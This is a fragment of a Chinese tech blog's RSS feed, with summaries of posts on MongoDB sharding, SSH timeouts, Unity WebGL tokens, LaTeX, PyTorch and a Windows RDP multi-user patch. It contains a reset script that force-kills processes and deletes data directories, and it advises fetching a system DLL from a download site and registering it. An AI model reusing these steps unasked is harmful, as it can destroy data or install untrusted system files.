      <description>主要参考：MongoDB 4.4.4分片集群配置全流程_richie696的专栏-CSDN博客_mongodb 分片集群配置&#xA;前面虽然参考了很多文档，但真正配置起来，踩坑真是无数&#xA;这边将conf配置文件和安装脚本分享一下，减少其他人继续踩坑&#xA;链接：https://pan.baidu.com/s/1akpNNfiiceyTXP7BVA_qfw 提取码：va0c&#xA;在第一台服务器上生成一个key文件后，然后拷贝到各台服务器目录中去使用&#xA;openssl rand -base64 756 &amp;gt; /opt/mongodb/sharding-sync-key.file chmod 600 /opt/mongodb/sharding-sync-key.file #-----------------------------------------&amp;lt;1&amp;gt;在三台服务器上初始化配置-----------------------------------------# #!/bin/bash MONGO_DAT_HOME=/opt/mongodb MONGO_APP_HOME=/opt/mongodb-4.4.4 #强制杀掉启动的进程 ps aux | grep /opt/mongodb | awk &#39;{print $2}&#39; | xargs kill -9 #删除mongodb数据 sudo rm -r $MONGO_DAT_HOME/config sudo rm -r $MONGO_DAT_HOME/data sudo rm -r $MONGO_DAT_HOME/logs #创建目录 sudo mkdir -p $MONGO_APP_HOME sudo mkdir -p $MONGO_DAT_HOME/conf sudo mkdir -p $MONGO_DAT_HOME/config sudo mkdir -p $MONGO_DAT_HOME/data/27017 sudo mkdir -p $MONGO_DAT_HOME/data/27018 sudo mkdir -p $MONGO_DAT_HOME/data/27019 sudo mkdir -p $MONGO_DAT_HOME/logs #调整各个文件和目录的文件权限 chmod 755 $MONGO_APP_HOME/bin/* chmod 755 $MONGO_DAT_HOME/conf/* chmod 600 $MONGO_DAT_HOME/sharding-sync-key.</description>
    </item>
    <item>
      <title>解决LINUX下SSH连接超时自动断开的问题</title>
      <link>https://bchobby.github.io/posts/8a28415ba0058f6284205cb14c615962/</link>
      <pubDate>Mon, 14 Feb 2022 19:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a28415ba0058f6284205cb14c615962/</guid>
      <description>执行下列脚本&#xA;# 切换SSH目录 cd /etc/ssh # 查看sshd_config中关于客户端活动状态的配置 grep ClientAlive sshd_config #默认配置如下 #ClientAliveInterval 0 #ClientAliveCountMax 3 #修改文件内容 find -name &#39;sshd_config&#39; | xargs perl -pi -e &#39;s|#ClientAliveInterval 0|ClientAliveInterval 60|g&#39; find -name &#39;sshd_config&#39; | xargs perl -pi -e &#39;s|#ClientAliveCountMax 3|ClientAliveCountMax 3|g&#39; # 查看sshd_config中关于客户端活动状态的配置 grep ClientAlive sshd_config #重启ssh service sshd restart 参考：SSH登录Linux长时间不操作就会自动断开问题 - 何敏杰博客&#xA;解决LINUX(CENTOS)下SSH连接超时自动断开的问题_weixin_33727510的博客-CSDN博客</description>
    </item>
    <item>
      <title>unity webgl获取页面Token信息，及加载StreamingAssets下.txt</title>
      <link>https://bchobby.github.io/posts/aca0e1b598171c2f77fbf189b53a5256/</link>
      <pubDate>Mon, 14 Feb 2022 16:55:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aca0e1b598171c2f77fbf189b53a5256/</guid>
      <description>接收JS端传回的token信息，如：&#xA;jwt~eyJhbGciOiJIUzI1NiIsIlR5cGUiOiJKd3QiLCJ0eXAiOiJKV1QifQ.eyJwYXNzd29yZCI6IjEyMzQ1NiIsImV4cCI6MTY0MjEzODIyNCwidXNlcm5hbWUiOiIxMTkwMjA1MTY5In0.ucdrtqfwOpaEzQkMHOWY7S_nvSTgOroRPa2T9y3H4q0&#xA;或者UserInf信息，如：&#xA;userinfo~{&#34;id&#34;:111,&#34;mobile&#34;:&#34;18400000000&#34;,&#34;password&#34;:null,&#34;photo&#34;:null,&#34;qq&#34;:null,&#34;sex&#34;:0,&#34;sn&#34;:&#34;100100100&#34;,&#34;username&#34;:&#34;刘X&#34;,&#34;clazzId&#34;:null,&#34;clazzNo&#34;:&#34;2021122801&#34;,&#34;roleId&#34;:1,&#34;createDate&#34;:&#34;2021-12-29T09:21:58&#34;,&#34;updateDate&#34;:null,&#34;creator&#34;:null,&#34;updater&#34;:null}&#xA;在打包出来的web文件内找到index，做如下修改&#xA;&amp;lt;script&amp;gt; var gameInstance = UnityLoader.instantiate(&#34;gameContainer&#34;, &#34;Build/TestDiaoYong2.json&#34;, {onProgress: UnityProgress}); if(!window.localStorage) { alert(&#34;浏览器不支持localstorage&#34;); } else { //写入localStorage var storage=window.localStorage; }&#x9;&amp;lt;/script&amp;gt; 在打包出来的web文件内找到UnityProgress文件（路径：TemplateData/UnityProgress），做如下修改&#xA;if (progress == 1) { gameInstance.logo.style.display = gameInstance.progress.style.display = &#34;none&#34;; getLocalStorage(); } } function getLocalStorage(){ //读取localStorage,并调用函数传递信息到C# JSCommand(&#39;jwt~&#39; + storage.getItem(&#39;jwt&#39;)); JSCommand(&#39;userinfo~&#39; + storage.getItem(&#39;userinfo&#39;)); } //JS向C#传递信息 function JSCommand(str) { console.log(&#34;JSCommand--&#34; + str); //三个参数：第一个参数是脚本所在物体名，第二个是脚本函数名，第三个是发送信息 gameInstance.SendMessage(&#39;MainScript&#39;, &#39;JSFunction&#39;, str); } 接下来在场景中创建对象（名字：MainScript（根据js的填写进行修改）） ，添加脚本（名字：MainSceneManager（可任意起）），脚本内方法如下：&#xA;（对服务返回数据进行处理时需要导入Dll文件到Unity工程中&#xA;dll链接：链接：https://pan.baidu.com/s/1TdyJYOnicoDYxmvv5Md46A 提取码：o0gx ）&#xA;using System.Collections; using UnityEngine; using UnityEngine.</description>
    </item>
    <item>
      <title>latex图片排版技巧总结</title>
      <link>https://bchobby.github.io/posts/876cc1bc7a774a8a4807938e01eb87f9/</link>
      <pubDate>Mon, 14 Feb 2022 12:33:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/876cc1bc7a774a8a4807938e01eb87f9/</guid>
      <description>目录 两图并排两图竖直排放，共享标题两图水平排放，共享标题两图竖直排放，独立标题两图水平排放，独立标题两图水平排放，统一大标题，独立子标题 四图并排四图水平摆放，统一大标题，两两独立子标题四图栅格摆放，统一大标题，两两独立子标题四图栅格摆放，统一大标题，独立子标题 总结方法一：使用宏包subfig(不推荐)方法二：使用宏包subfigure(推荐) 两图并排 两图竖直排放，共享标题 \begin{figure}[htbp] \centering \includegraphics[width=0.2\textwidth]{number_1.jpg} \\ \includegraphics[width=0.2\textwidth]{number_2.jpg} \caption{两图竖直摆放，共享标题} \label{fig:ver_2figs_1cap} \end{figure} 两图水平排放，共享标题 \begin{figure} \begin{minipage}[t]{0.5\linewidth} \centering \includegraphics[width=2.2in]{number_1.jpg} \end{minipage} \begin{minipage}[t]{0.5\linewidth} \centering \includegraphics[width=2.2in]{number_2.jpg} \end{minipage} \caption{两图水平摆放，共享标题} \label{fig:hor_2figs_1cap} \end{figure} 两图竖直排放，独立标题 \begin{figure} \centering \begin{minipage}[t]{0.5\linewidth} \centering \includegraphics[width=2.2in]{number_1.jpg} \caption{标题一} \label{fig:ver_2figs_2cap_1} \end{minipage} \\ \begin{minipage}[t]{0.5\linewidth} \centering \includegraphics[width=2.2in]{number_2.jpg} \caption{标题二} \label{fig:ver_2figs_2cap_2} \end{minipage} \end{figure} 两图水平排放，独立标题 \begin{figure} \begin{minipage}[t]{0.5\linewidth} \centering \includegraphics[width=2.2in]{number_1.jpg} \caption{标题一} \label{fig:hor_2figs_2cap_1} \end{minipage} \begin{minipage}[t]{0.5\linewidth} \centering \includegraphics[width=2.2in]{number_2.jpg} \caption{标题二} \label{fig:hor_2figs_2cap_2} \end{minipage} \end{figure} 两图水平排放，统一大标题，独立子标题 \begin{figure} \centering \subfigure[子标题一]{ \begin{minipage}[b]{0.2\textwidth} \includegraphics[width=1\textwidth]{number_1.jpg} \end{minipage} \label{fig:hor_2figs_1cap_2subcap_1} } \subfigure[子标题二]{ \begin{minipage}[b]{0.</description>
    </item>
    <item>
      <title>ant design vue pro设置默认语言为中文</title>
      <link>https://bchobby.github.io/posts/303bc8673d59bd8a8a5ae30e20efeb3b/</link>
      <pubDate>Mon, 14 Feb 2022 10:44:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/303bc8673d59bd8a8a5ae30e20efeb3b/</guid>
      <description>1.在src\locales\index.js文件修改默认语言&#xA;// import enUS from &#39;./lang/en-US&#39; import zhCN from &#39;./lang/zh-CN&#39; Vue.use(VueI18n) // export const defaultLang = &#39;en-US&#39; export const defaultLang = &#39;zh-CN&#39; const messages = { // &#39;en-US&#39;: { // ...enUS // } &#39;zh-CN&#39;: { ...zhCN } } 2.在src\core\bootstrap.js文件，修改初始化的语言&#xA;// store.dispatch(&#39;setLang&#39;, storage.get(APP_LANGUAGE, &#39;en-US&#39;)) store.dispatch(&#39;setLang&#39;, storage.get(APP_LANGUAGE, &#39;zh-CN&#39;)) 3.在src\store\modules\app.js文件，修改app对象里state中的lang属性&#xA;lang: &#39;zh-CN&#39;, 4.改完之后发现侧边栏主题设置变成了类似app.setting…的字样，接着在src\locales\lang\zh-CN.js里添加配置，因为英文的这里有这个配置文件，中文的没有，所以手动添加一个&#xA;&#39;app.setting.pagestyle&#39;: &#39;主题风格设置&#39;, &#39;app.setting.pagestyle.light&#39;: &#39;白色&#39;, &#39;app.setting.pagestyle.dark&#39;: &#39;黑色&#39;, &#39;app.setting.pagestyle.realdark&#39;: &#39;全黑&#39;, &#39;app.setting.themecolor&#39;: &#39;主题颜色&#39;, &#39;app.setting.navigationmode&#39;: &#39;导航模式&#39;, &#39;app.setting.content-width&#39;: &#39;内容宽度&#39;, &#39;app.setting.fixedheader&#39;: &#39;固定头部&#39;, &#39;app.setting.fixedsidebar&#39;: &#39;固定侧边&#39;, &#39;app.setting.sidemenu&#39;: &#39;侧菜单布局&#39;, &#39;app.</description>
    </item>
    <item>
      <title>Pytorch：卷积神经网络-空洞卷积</title>
      <link>https://bchobby.github.io/posts/12dbcae6dceab71b6d77d1f316775e64/</link>
      <pubDate>Sun, 13 Feb 2022 17:20:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12dbcae6dceab71b6d77d1f316775e64/</guid>
      <description>Pytorch: 空洞卷积神经网络 Copyright: Jingmin Wei, Pattern Recognition and Intelligent System, School of Artificial and Intelligence, Huazhong University of Science and Technology&#xA;Pytorch教程专栏链接&#xA;文章目录 Pytorch: 空洞卷积神经网络 @[toc]空洞卷积神经网络搭建数据预处理空洞卷积神经网络的训练和预测 本教程不商用，仅供学习和参考交流使用，如需转载，请联系本人。&#xA;相对于普通卷积，空洞卷积通过在卷积核中添加空洞( 0 0 0 元素)，从而增大感受野，获取更多信息。感受野为在卷积神经网络中，决定某一层输出结果中一个元素对应的输入层的区域大小，通俗解释就是特征映射上的一个点对应输入图上的区域大小。&#xA;对于一个 3 × 3 3\times3 3×3 的 2 2 2-空洞卷积运算，实际的卷积核大小还是 3 × 3 3\times3 3×3 。但是空洞为 1 1 1 ，这样卷积核就会扩充一个 7 × 7 7\times7 7×7 的图像块，但只有 9 9 9 个红色的点会有权重取值进行卷积操作。也可以理解为卷积核的大小为 7 × 7 7\times7 7×7 ，但只有图中的 9 9 9 个点的权重不为 0 0 0 ，其他均为 0 0 0 。实际卷积权重只有 3 × 3 3\times3 3×3 ，但感受野实际为 7 × 7 7\times7 7×7 。对于 15 × 15 15\times15 15×15 的，实际卷积只有 9 × 9 9\times9 9×9 。</description>
    </item>
    <item>
      <title>删除一张数据表的所有数据delete和truncate哪个更好？</title>
      <link>https://bchobby.github.io/posts/66ef3dca89ab6e4d2574cee2d9ddf009/</link>
      <pubDate>Sun, 13 Feb 2022 17:10:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66ef3dca89ab6e4d2574cee2d9ddf009/</guid>
      <description>在前几天的数据库学习中，遇到了需要删除数据表所有数据的问题，在网上查阅了相关资料，发现两种比较常用的清楚数据的方式，就是delete和truncate这两个关键字：&#xA;下面是自己总结的二者的区别：&#xA;相同点：&#xA;delete和truncate它们都可以用来清除表数据，而且都不会改变原有的表的结构相应语法格式： delete关键字：delete from 表名 truncate关键字：truncate 表名 不同点：&#xA;truncate可以在清除表数据的同时，可以时自增列的“计数器”归零还有就是不会影响事务（这个还没有体会到） 总结：在需要清除数据时建议使用truncate关键字&#xA;以上就是我目前对二者的全部理解，如有错误请大家多多纠正，谢谢。</description>
    </item>
    <item>
      <title>Spring Boot上传文件&#43;部署到Tomcat</title>
      <link>https://bchobby.github.io/posts/0caa441c9423859764ffda8f612cd83e/</link>
      <pubDate>Sun, 13 Feb 2022 17:03:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0caa441c9423859764ffda8f612cd83e/</guid>
      <description>1 概述 Spring Boot上传文件，根据官方上传文件示例修改的，打包成WAR上传到Tomcat上，主要步骤是创建异常类，属性类，接口类与控制器类，最后进行少量修改打包部署到服务器上。&#xA;2 环境 Tomcat 9.0.30Spring boot 2.2.2 3 新建工程 选择Spring initializer：&#xA;改一下包名，打包选项JAR/WAR均可，选JAR的话可以在构建的时候再生成WAR。&#xA;这里用的是模板引擎Thymeleaf，选择Spring Web与Thymeleaf。&#xA;最后点击完成。&#xA;4 新建包 4个包，service，properties，controller，exception。&#xA;5 异常 处理两个异常，分别是存储异常与存储文件找不到异常。&#xA;5.1 StorageException package kr.test.exception; public class StorageException extends RuntimeException { public StorageException(String message) { super(message); } public StorageException(String message,Throwable cause) { super(message,cause); } } 5.2 StorageFileNotFoundException package kr.test.exception; public class StorageFileNotFoundException extends StorageException { public StorageFileNotFoundException(String message) { super(message); } public StorageFileNotFoundException(String message,Throwable cause) { super(message,cause); } } Exception(String message,Throwable cause); 这个构造函数中的cause是引起这个异常的异常，允许空值，如果是空值则表示这个引起这个异常的异常不存在或者未知。</description>
    </item>
    <item>
      <title>Python print长数据省略的问题</title>
      <link>https://bchobby.github.io/posts/14ed7bbb3429089045450697c5b9cd3d/</link>
      <pubDate>Sun, 13 Feb 2022 15:47:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14ed7bbb3429089045450697c5b9cd3d/</guid>
      <description>Java获取python返回值时，可以通过print()来获取，但如果数据量过长，打印出的结果将会包含省略号。同样，Java接受到的数据也是包含省略号的。也就是说，python本地打印出是什么样子，Java接收到的就是什么样子。&#xA;处理大量数据中打印省略的问题： 1. 对于Numpy数据： 在输出print()位置前加入：&#xA;1 np.set_printoptions(threshold=np.inf) 通过设置输出选项，将阈值设置为一个较大的数，从而实现完整长度的打印。&#xA;2. 对于pandas数据： pandas数据的设置分为行列的设置：&#xA;1 #显示所有列 2 pd.set_option(&#39;display.max_columns&#39;, None) 3 #显示所有行 4 pd.set_option(&#39;display.max_rows&#39;, None) 5 #设置value的显示长度为100，默认为50 6 pd.set_option(&#39;max_colwidth&#39;,100) 项目中使用的方式：&#xA;1 pd.set_option(&#39;display.max_columns&#39;, 1000000) # 可以在大数据量下，没有省略号 2 pd.set_option(&#39;display.max_rows&#39;, 1000000) 3 pd.set_option(&#39;display.max_colwidth&#39;, 1000000) 4 pd.set_option(&#39;display.width&#39;, 1000000) 3. 对于tensor数据： 将数据转成list就好。&#xA;tensor数据省略问题，numpy和pandas的设置都是无效的。</description>
    </item>
    <item>
      <title>超简单安装dlib</title>
      <link>https://bchobby.github.io/posts/4ca462b13872a9cde2e227d7747ec248/</link>
      <pubDate>Sun, 13 Feb 2022 15:45:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ca462b13872a9cde2e227d7747ec248/</guid>
      <description>前提，我尝试过很多种安装的方法都不行，最后才使用了本文的方法，最终达到了自己的要求。 首先下载visual studio 2019&#xA;地址:https://visualstudio.microsoft.com/zh-hans/vs/&#xA;3.下载好以后点击安装&#xA;必选C++环境，python环境可以勾选，也可以自己单独下载python解释器。&#xA;python3.7.3下载地址:https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64.exe&#xA;4.设置Cmake环境为系统环境变量&#xA;我们之所以安装visual studio就是为了正确的安装cmake，因为visual studio 在之前勾选了c++选项以后，可以正确的安装cmake。&#xA;那么我们现在就找到visual studio 安装好的cmake 文件路径，在我的电脑上路径是：&#xA;D:\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\CMake\CMake\bin&#xA;复制路径设置环境变量(如果看图片看不懂，自己百度系统环境变量设置)，如下图所示：&#xA;5.然后运行cmd&#xA;输入pip install dlib&#xA;如果提示没有这个命令，自行百度设置python为系统环境变量。&#xA;运行这个命令以后，稍等片刻就可以了，如果用的不是国内源的话就会很慢，要稍微等一下。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「⁣⁢小⁡⁠舒」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/qq_25858235/article/details/96424333</description>
    </item>
    <item>
      <title>windows10支持多用户同时登陆远程桌面</title>
      <link>https://bchobby.github.io/posts/929cd1c4bf389248056e25131a146390/</link>
      <pubDate>Sun, 13 Feb 2022 12:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/929cd1c4bf389248056e25131a146390/</guid>
      <description>系统设置 创建用户 右键“此电脑—&amp;gt;管理—&amp;gt;本地用户和组“，右键”用户—&amp;gt;新用户“，添加用户名，设置密码（勾选密码永不过期）。然后点击创建即可。&#xA;“设置——&amp;gt;系统——&amp;gt;远程桌面——&amp;gt;选择可远程访问这台电脑的用户——&amp;gt;添加”，把新创建的用户添加进去&#xA;配置本地组策略 运行 gpedit.msc 打开本地组策略编辑器。&#xA;选择“【管理模板】—&amp;gt;【Windows组件】—&amp;gt;【远程桌面服务】—&amp;gt;【远程桌面会话主机】—&amp;gt;【连接】&#xA;配置【限制连接的数量】&#xA;配置【将远程桌面服务用户限制到单独的远程桌面服务会话】&#xA;配置【允许用户通过使用远程桌面服务进行远程连接】&#xA;测试用户 使用新建的用户通过remote desktop尽心登陆，确保新建用户可以正常使用&#xA;系统打补丁 下载补丁 从https://github.com/stascorp/rdpwrap/releases下载补丁程序的最新版本&#xA;运行 解压，以管理员身份运行脚本install.bat，需要联网&#xA;运行结果&#xA;双击运行程序RDPConf.exe&#xA;如果显示“not supported”，需要下载对应版本的配置文件，版本号即“Service state”，我这里是“10.0.1904.1503”&#xA;到网址https://github.com/stascorp/rdpwrap/issues找到自己对应版本的配置文件rdpwrap.ini，并下载到本地，替换掉本地文件&#xA;我使用的配置文件放在了https://download.csdn.net/download/fleaxin/80399377&#xA;如果复制黏贴时提示&#xA;给原始文件增加操作权限，右键rdpwrap.ini文件，“属性——&amp;gt;安全——&amp;gt;编辑”，给Users用户增加读写权限&#xA;再次以管理员身份运行脚本install.bat&#xA;双击运行RDPConf.exe程序&#xA;只要显示“fully supported”，则便是打补丁成功，否则，更换配置文件再次尝试&#xA;测试 打补丁成功后，重启电脑，或者重启remote desktop服务&#xA;双击运行RDPCheck.exe&#xA;选择新建的用户登陆&#xA;可以正常登陆，且主账户没有推出，则表示成功，否则，更换其他配置文件再次尝试</description>
    </item>
    <item>
      <title>MiKTeX &#43; Texmaker 组合下使.tex文件支持中文的设置方法</title>
      <link>https://bchobby.github.io/posts/079623eeb847f56a708d55304fab3351/</link>
      <pubDate>Sat, 12 Feb 2022 20:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/079623eeb847f56a708d55304fab3351/</guid>
      <description>【软件环境】&#xA;​MiKTeX（本文选用 basic-miktex-21.12-x64）&#xA;https://miktex.org/&#xA;Texmaker（本文选用 Texmaker_5.1.2_Win_x64）&#xA;https://www.xm1math.net/texmaker/download.html&#xA;【设置步骤】&#xA;MiKTeX + Texmaker 组合下使.tex文件支持中文，核心在于只需设置MiKTeX。&#xA;而MiKTeX设置的核心，在于只需选择宏包的国内镜像下载地址（如清华镜像：https://mirrors. tuna. tsinghua. edu. en）。从而，在需要时，使MiKTeX可以快速下载安装需要的宏包。&#xA;具体设置MiKTeX的步骤如下：&#xA;【样例测试】&#xA;设置完MiKTeX后，在Texmaker中输入如下包含中文内容的.tex文件样例：&#xA;\documentclass{article} \usepackage[UTF8]{ctex} \begin{document} Test 测试中文 \end{document} 然后，在Texmaker下运行此包含中文内容的.tex文件，会自动弹出需要安装某些需要的宏包的窗口，按提示进行安装操作便OK。（若在此步中没有自动弹出安装宏包的相关窗口，可先在MiKTeX下搜索宏包 ctex 进行安装，然后再执行此步骤）&#xA;下图是在Texmaker下成功运行包含中文的.tex文件的截图。&#xA;【参考文献】&#xA;https://blog.sciencenet.cn/blog-478347-1215384.html&#xA;https://blog.csdn.net/hnjzsyjyj/article/details/122894417&#xA;https://jingyan.baidu.com/article/ff411625e229d512e482379c.html</description>
    </item>
    <item>
      <title>系统提示 api-ms-win-crt-runtime-l1-1-0.dll文件丢失，解决方法。。。</title>
      <link>https://bchobby.github.io/posts/883c0ffb43ead3394f5d7e4b4cd4f627/</link>
      <pubDate>Sat, 12 Feb 2022 10:52:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/883c0ffb43ead3394f5d7e4b4cd4f627/</guid>
      <description>api-ms-win-crt-runtime-l1-1-0.dll是一个Windows系统的应用程序拓展文件，也叫动态链接库文件。这个文件能帮助绝大多数用户解决在安装或启动部分游戏软件时出现计算机中丢失api-ms-win-crt-runtime-l1-1-0.dll这样的问题。&#xA;缺少api-ms-win-crt-runtime-l1-1-0.dll的主要表现&#xA;1、软件游戏等应用程序无法正常安装或运行。&#xA;2、使用应用程序时出现弹窗，提示缺少该文件。&#xA;3、严重时甚至可造成系统程序无法运行使用。&#xA;api-ms-win-crt-runtime-l1-1-0.dll使用方法&#xA;1.首先在华军软件园下载api-ms-win-crt-runtime-|1-1-0.dll文件，将该文件复制到系统目录里，具体路径为：C:WindowsSystem32，64位操作系统路径为：C:WindowsSysWOW64。&#xA;2.放置文件后，还需启用这个文件。具体操作为：在开始菜单中找到“运行(R)” (按快捷键“Win键+R”)，此时会弹出一个对话框，在框内输入 regsvr32 api-ms-win-crt-runtime-l1-1-0.dll ，然后按回车，一般情况下这样就能解决“api-ms-win-crt-runtime-l1-1-0.dll 丢失”这个问题。&#xA;说明：下载的文件要与操作系统相对于，否则无法解决问题。&#xA;api-ms-win-crt-runtime-l1-1-0.dll常见问题&#xA;1.放置或更换过该组件后还是不能解决这个问题，该怎么办?&#xA;可以尝试通过更换程序库来解决，即重新安装VC redit.exe程序来解决“api-ms-win-crt-runtime-l1-1-0.dll 丢失”这个问题。注：由于该方法操作较为专业，这里简要列出方法：&#xA;1.首先先下载Visual Studio 2015组件，删掉原有的api-ms-win-crt-runtime-l1-1-0.dll文件，具体路径为：C:WindowsSystem32;64位操作系统路径为：C:WindowsSysWOW64。&#xA;2.安装完VC redit.exe后，重启电脑&#xA;说明：下载文件之前，一定要确定下该文件是否适合您电脑的操作系统,否则还是会出现问题&#xA;2.api-ms-win-crt-runtime-l1-1-0.dll可以删除吗?&#xA;不可以，这是系统接口程序，删除会造成响应系统无法运行!&#xA;软件获取&#xA;点击下方名片进入公众号『Python语言空间』，添加微信即可，请大家点赞收藏！！&#xA;python语言空间&#xA;该账号分享python基础语法、干货，开发软件，web语言，网络安全渗透方面知识，用于日常学习交流。</description>
    </item>
    <item>
      <title>C&#43;&#43;出现错误类型error C2664的解决方案（VS环境）</title>
      <link>https://bchobby.github.io/posts/8bbe6f4e252a780d7dd2f0773f9347e7/</link>
      <pubDate>Fri, 11 Feb 2022 20:47:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bbe6f4e252a780d7dd2f0773f9347e7/</guid>
      <description>定义如下形式的字符串&#xA;char *testString = “This is test string…” 编译器显示这段代码错误，运行后显示为C2664错误&#xA;这时候我们只需要修改一下项目设置&#xA;具体步骤： 一、标签页点击项目，下拉找到自己的项目名称 二、找到 C/C++ -&amp;gt; 语言 -&amp;gt;符合模式 -&amp;gt;将‘是’改为‘否’ 如下图所示&#xA;这样问题就顺利解决了&#xA;😜 相 见 就 是 【 猿 分 】 🐒&#xA;.&#xA;👀 感谢您阅读完此文章 👀&#xA;.&#xA;❓ 希望能够对你有所帮助 🎯&#xA;.&#xA;❌ 如果文章中有错误的地方请指正 ✔️&#xA;.&#xA;💪 感谢支持，一起加油，共同进步 🏃</description>
    </item>
    <item>
      <title>shell脚本中文件描述符</title>
      <link>https://bchobby.github.io/posts/09f13cb67e2fffbb8e419e194d66072f/</link>
      <pubDate>Fri, 11 Feb 2022 19:48:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09f13cb67e2fffbb8e419e194d66072f/</guid>
      <description>shell脚本中文件描述符 文件描述符特征 文件描述符是一个非负整数，内核需要通过这个文件描述符才可以访问文件当在系统中打开已有的文件或者新建文件时，内核每次都会给特定的进程返回一个文件描述符，进程需要对文件进行读或写操作时，都要依赖这个文件描述符文件描述符就像一个索引，指向系统中对应的文件内核默认为每个进程创建3个标准的文件描述符，分别为0标准输入、1标准输出、2标准错误文件描述符中还包含有很多文件相关的信息，如权限、文件偏移量等。使用文件描述符读写文件要注意文件偏移量指针的变化情况 查看文件描述符 #通过查看/proc/进程pid/fd/目录下的文件可以查看到对应进程拥有的所有文件描述符 [root@mao_aliyunserver bin]# pgrep -f &#39;top&#39; 14963 [root@mao_aliyunserver bin]# ll /proc/14963/fd total 0 lrwx------ 1 root root 64 Feb 10 23:04 0 -&amp;gt; /dev/pts/3 lrwx------ 1 root root 64 Feb 10 23:04 1 -&amp;gt; /dev/pts/3 l-wx------ 1 root root 64 Feb 10 23:04 2 -&amp;gt; /dev/null lrwx------ 1 root root 64 Feb 10 23:04 3 -&amp;gt; /dev/pts/3 lr-x------ 1 root root 64 Feb 10 23:04 4 -&amp;gt; /proc/stat lr-x------ 1 root root 64 Feb 10 23:04 5 -&amp;gt; /proc/uptime lr-x------ 1 root root 64 Feb 10 23:04 6 -&amp;gt; /proc/meminfo lr-x------ 1 root root 64 Feb 10 23:04 7 -&amp;gt; /proc/loadavg 创建和关闭文件描述符 #创建文件描述符: exec 文件描述符&amp;lt;&amp;gt;文件名 (&amp;lt;&amp;gt;表示可读写，&amp;lt;可读 &amp;gt;可写，注意&amp;lt;&amp;gt;两边不能有空格) #创建文件描述符时，如果描述符对应的文件不存在，系统会自动创建一个新的空文件 [root@mao_aliyunserver bin]# touch mao.</description>
    </item>
    <item>
      <title>栈之栈的顺序存储</title>
      <link>https://bchobby.github.io/posts/9da79bf78c2a44f081e28a9565feac51/</link>
      <pubDate>Fri, 11 Feb 2022 19:03:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9da79bf78c2a44f081e28a9565feac51/</guid>
      <description>栈（stack）:&#xA;再来说说栈的几个概念与常见操作：&#xA;栈的设计思路：&#xA;下面说一下栈的顺序存储原理：&#xA;具体代码设计思想：&#xA;话不多说，直接上代码：&#xA;stack.h:&#xA;#ifndef _STACK_H_ #define _STACK_H_ #define EMPTY_INDEX -1 //代表栈里面没有元素 #define MAX_SIZE 100 //这里设计可以大一点，防止数据溢出 //定义抽象的数据存放类型 typedef int element_type;//以后不想要这个类型就从这改 typedef struct _t_seq_stack { int top_of_index;//当前栈顶的索引角标 element_type array[MAX_SIZE]; }t_seq_stack; //创建栈 t_seq_stack *create_stack(); //判断栈是否为空 int is_empty(t_seq_stack *stack); //销毁栈 void destroy_stack(t_seq_stack *stack); //从理论上清空栈，也就是把长度变为-1，但是元素还是存放在相应的数组空间 void make_empty(t_seq_stack *stack); //出栈，从理论上出栈，数据还是存在元素中 void pop_stack(t_seq_stack *stack); //入栈 void push_stack(t_seq_stack *stack,element_type value); //拿到栈顶元素 element_type top_stack(t_seq_stack *stack); #endif stack.c&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &#34;</description>
    </item>
    <item>
      <title>Mybatis 有二级缓存，为什么还要用 redis</title>
      <link>https://bchobby.github.io/posts/4314fb3038bd2f5090c0c2503e87b97d/</link>
      <pubDate>Fri, 11 Feb 2022 16:39:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4314fb3038bd2f5090c0c2503e87b97d/</guid>
      <description>Mybatis 一级缓存作用域是 session，session commit 之后缓存就失效了。&#xA;Mybatis 二级缓存作用域是 sessionfactory，该缓存是以 namespace 为单位的（也就是一个 Mapper.xml 文件），不同 namespace 下的操作互不影响。&#xA;所有对数据表的改变操作都会刷新缓存。但是一般不要用二级缓存，例如在 UserMapper.xml 中有大多数针对 user 表的操作。但是在另一个 XXXMapper.xml 中，还有针对 user 单表的操作。这会导致 user 在两个命名空间下的数据不一致。&#xA;如果在 UserMapper.xml 中做了刷新缓存的操作，在 XXXMapper.xml 中缓存仍然有效，如果有针对 user 的单表查询，使用缓存的结果可能会不正确，读到脏数据。&#xA;Redis 很好的解决了这个问题，而且比之一、二级缓存的好处很多，Redis 可以搭建在其他服务器上，缓存容量可扩展。Redis 可以灵活的使用在需要缓存的数据上，比如一些热点数据，统计点赞啊</description>
    </item>
    <item>
      <title>Unity3D开发环境的搭建</title>
      <link>https://bchobby.github.io/posts/441d93be253443c08bdda1e4039a48a1/</link>
      <pubDate>Fri, 11 Feb 2022 14:27:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/441d93be253443c08bdda1e4039a48a1/</guid>
